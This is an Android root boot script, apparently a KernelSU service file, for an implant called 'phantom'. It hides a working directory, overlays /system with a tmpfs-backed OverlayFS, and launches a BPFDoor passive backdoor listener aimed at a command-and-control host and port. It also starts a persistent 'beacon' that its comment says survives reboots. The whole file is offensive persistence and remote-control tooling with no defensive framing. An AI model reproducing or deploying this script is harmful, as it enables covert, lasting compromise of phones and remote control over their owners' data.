#!/system/bin/sh
PHANTOM_ROOT="/data/local/.phantom"
C2_HOST="192.168.1.229"
C2_TCP_PORT=4445
BEACON="/data/local/.phantom/beacon/phantom"

log() { echo "[pnode] $1" >> /data/local/.phantom/service.log 2>&1; }
log "service v2 start $(date)"

mkdir -p "${PHANTOM_ROOT}/beacon" "${PHANTOM_ROOT}/tools" "${PHANTOM_ROOT}/tmp"
chmod 700 "${PHANTOM_ROOT}"

# OverlayFS: tmpfs upperdir (f2fs не се поддържа)
mount | grep -q "tmpfs on /dev/.phantom" || {
    mount -t tmpfs -o size=128m tmpfs /dev/.phantom
    mkdir -p /dev/.phantom/upper /dev/.phantom/work
}
mount | grep -q "overlay on /system" || {
    mount -t overlay overlay \
        -o lowerdir=/system,upperdir=/dev/.phantom/upper,workdir=/dev/.phantom/work \
        /system 2>/dev/null && log "overlay OK" || log "overlay FAIL"
}

# tmpfs tool areas
mount | grep -q "tmpfs on ${PHANTOM_ROOT}/tools" || \
    mount -t tmpfs -o size=256m,mode=700 tmpfs "${PHANTOM_ROOT}/tools"
mount | grep -q "tmpfs on ${PHANTOM_ROOT}/tmp" || \
    mount -t tmpfs -o size=64m,mode=700  tmpfs "${PHANTOM_ROOT}/tmp"

# BPFDoor passive listener (Go binary)
BPFD="/data/local/.phantom/beacon/bpfdoor"
if [ -f "$BPFD" ]; then
    pgrep -f bpfdoor >/dev/null 2>&1 || {
        "$BPFD" --iface wlan0 --c2 "${C2_HOST}:${C2_TCP_PORT}" \
            >> "${PHANTOM_ROOT}/bpfdoor.log" 2>&1 &
        log "bpfdoor started PID=$!"
    }
fi

# Main beacon (KSU-persistent, survives reboots)
if [ -f "$BEACON" ]; then
    pgrep -f phantom >/dev/null 2>&1 || {
        nohup "$BEACON" >> "${PHANTOM_ROOT}/beacon/beacon.log" 2>&1 &
        log "beacon started PID=$!"
    }
fi
log "service v2 done"
